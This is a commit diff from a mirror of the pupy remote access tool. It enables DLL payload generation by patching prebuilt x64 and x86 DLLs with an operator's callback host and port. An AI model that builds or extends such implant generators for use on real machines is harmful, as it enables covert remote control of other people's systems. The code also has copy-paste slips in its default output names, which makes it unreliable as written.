mirror of https://github.com/n1nj4sec/pupy.git
Fixed dll payload generation in genpayload.py
This commit is contained in:
parent
d295a1bc33
commit
c5582dc7ed
|
@ -66,16 +66,19 @@ if __name__=="__main__":
|
||||||
with open(outpath, 'wb') as w:
|
with open(outpath, 'wb') as w:
|
||||||
w.write(binary)
|
w.write(binary)
|
||||||
elif args.type=="dll_x64":
|
elif args.type=="dll_x64":
|
||||||
exit("not implemented")
|
binary=get_edit_binary(os.path.join("payloads","pupyx64.dll"), args.host, args.port)
|
||||||
|
outpath="pupyx64.exe"
|
||||||
|
if args.output:
|
||||||
|
outpath=args.output
|
||||||
|
with open(outpath, 'wb') as w:
|
||||||
|
w.write(binary)
|
||||||
elif args.type=="dll_x86":
|
elif args.type=="dll_x86":
|
||||||
exit("not implemented")
|
binary=get_edit_binary(os.path.join("payloads","pupyx86.dll"), args.host, args.port)
|
||||||
pass
|
outpath="pupyx64.exe"
|
||||||
|
if args.output:
|
||||||
|
outpath=args.output
|
||||||
|
with open(outpath, 'wb') as w:
|
||||||
|
w.write(binary)
|
||||||
else:
|
else:
|
||||||
exit("Type %s is invalid."%(args.type))
|
exit("Type %s is invalid."%(args.type))
|
||||||
print "binary generated to %s with HOST=%s"%(outpath,(args.host, args.port))
|
print "binary generated to %s with HOST=%s"%(outpath,(args.host, args.port))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue